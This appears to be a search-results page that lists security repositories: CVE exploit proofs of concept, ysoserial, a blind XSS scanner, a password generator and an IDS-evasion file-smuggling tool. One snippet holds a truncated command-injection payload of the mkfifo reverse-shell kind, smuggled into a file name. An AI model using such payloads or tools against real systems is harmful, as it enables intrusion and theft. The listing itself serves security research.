681 matches found
barf-project
BARF : Binary Analysis and Reverse engineering Framework The analysis of binary code is a crucial activity in many areas of the computer sciences and software engineering disciplines ranging from software security and program analysis to reverse engineering. Manual binary analysis is a difficult...
princeprocessor
princeprocessor Standalone password candidate generator using the PRINCE algorithm The name PRINCE is used as an acronym and stands for PRobability INfinite Chained Elements, which are the building blocks of the algorithm Brief description The princeprocessor is a password candidate generator and...
skyhook
Skyhook Skyhook is a REST-driven utility used to smuggle files into and out of networks defended by IDS implementations. It comes with a pre-packaged web client that uses a blend of React, vanilla JS, and web assembly to manage file transfers. Key Links Download here See the user documentation to...
rekono
Automate the recon, keep your time for the part that actually needs a hacker Think about how an assessment really starts. You gather public information about the target. You discover its hosts, enumerate their ports and identify the services behind them. Then you run a more specific tool against...
ysoserial
ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. Description Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections 3.x and...
crypto_identifier
crypto-identifier Crypto tool for pentest and ctf : try to uncipher data using multiple algorithms and block chaining modes. Usefull for a quick check on unknown cipher text and key dictionary Supported Algorithms : AES ARC2 ARC4 Blowfish CAST DES DES3 XOR Supported modes : ECB CBC CFB OFB Usage:...
bxss
Bxss - Blind XSS Scanner 🚀 Description Bxss is a high-performance Blind XSS scanner that automates the detection of blind XSS vulnerabilities in web applications. ✨ Features Injects Blind XSS payloads into custom headers & parameters Supports multiple HTTP methods PUT, POST, GET, OPTIONS High-spe...
cmdchamp
cmdchamp Bash CLI trainer — 30 levels from ls to privilege escalation. Every question asks you to type a real command — get instant feedback, move on. Miss one and it doesn't just show you the answer: it shows what YOUR command printed against what was wanted, and for a pipeline the line count at...
CVE-2024-4157-SSRF-RCE-Reverse-Shell
CVE-2024-4157: Getting Reverse Shell on Havoc C2 - Chaining SSRF with RCE Get reverse-shell with local IP and Port, chaining CVE-2024-4157 POC with havocauthrce Usage Basic info $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME -u USERNAME -d DOMAINNAME -n...
CVE-2025-55182-Proof-of-Concept
CVE-2025-55182 Proof-of-Concept This repository contains a Proof-of-Concept PoC for CVE-2025-55182 , a vulnerability involving Prototype Pollution leading to Remote Code Execution RCE in certain server‑side rendering implementations. ⚠️ Warning: This PoC is strictly for educational, research, and...
CVE-2022-36231
CVE-2022-36231 The ruby gem pdfinfo /dev/null As with the initialize method there is no validation performed on the @pdfpath variable. This allows us to make use of command chaining with ; to execute an arbitrary command. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat...
CVE-2019-1003000_RCE-DETECTION
CVE-2019-1003000RCE-DETECTION General Summary Chaining vulnerability CVE-2018-1000861 with CVE-2019-1003000, I created a module to test for a Pre-Auth RCE on Jenkins CI. Initially, I had tried to go about detecting the vulnerability with a username and password and job name; however, I thought it...
CVE-2023-36844_Juniper_RCE
CVE-2023-36844JuniperRCE A Proof of Concept for chaining the CVEs CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 to achieve Remote Code Execution phpinfo in Juniper JunOS within SRX and EX Series products.Modified from original exploit developed by @watchTowr . Shodan dork :...
Vuln_Exploitation_MegaQuagga_Pentest
Vulnerability Exploitation — MegaQuagga Penetration Test Report Analyst: Samuel Weiss Organization: 0x2A Security Date: April 20, 2026 Client: MegaQuagga Publishing Target: www.megaquagga.local Classification: CONFIDENTIAL Overview This project documents a structured penetration test conducted...
ProxyLogon
Disclaimer: All the information provided in this repository is for educational and research purposes only. The autor is no way responsible for any misuse of the information or code present here. To use this exploit in a safe pre-configured environment check out...
CVE-2024-4879
CVE-2024-4879 Bulk scanning tool for ServiceNow CVE-2024-4879 vulnerability. Overview This tool is designed for bulk scanning of the ServiceNow CVE-2024-4879 vulnerability. It is inspired by Assetnote security research, which covers the recent ServiceNow CVE-2024-4879, CVE-2024-5178, and...
POC-CVE-2025-6554
CVE-2025-6554 CVE-2025-6554 is a vulnerability in Chrome's V8 Engine JavaScript interpreter Hole Check 'inadequate control in unintended variables within expressions with optional chaining. POC CVE-2025-6554-POC.JS explores a flaw in the "Hole" verification mechanism in variables before use,...
Havoc-C2-SSRF-to-RCE
Havoc-C2-SSRF-to-RCE This is a modified version of the CVE-2024-41570 SSRF PoC from @chebuya chained with the auth RCE exploit from @hyperreality. This exploit executes code remotely to a target due to multiple vulnerabilities in Havoc C2 Framework...
CVE-2026-9198
CVE-2026-9198 - IBM Langflow Unauthenticated RCE via Auto-Login Bypass Educational PoC This repository provides an educational proof of concept for CVE-2026-9198 affecting IBM Langflow OSS. The PoC poc.py demonstrates how an unauthenticated attacker can chain: 1. GET/POST /api/v1/autologin return...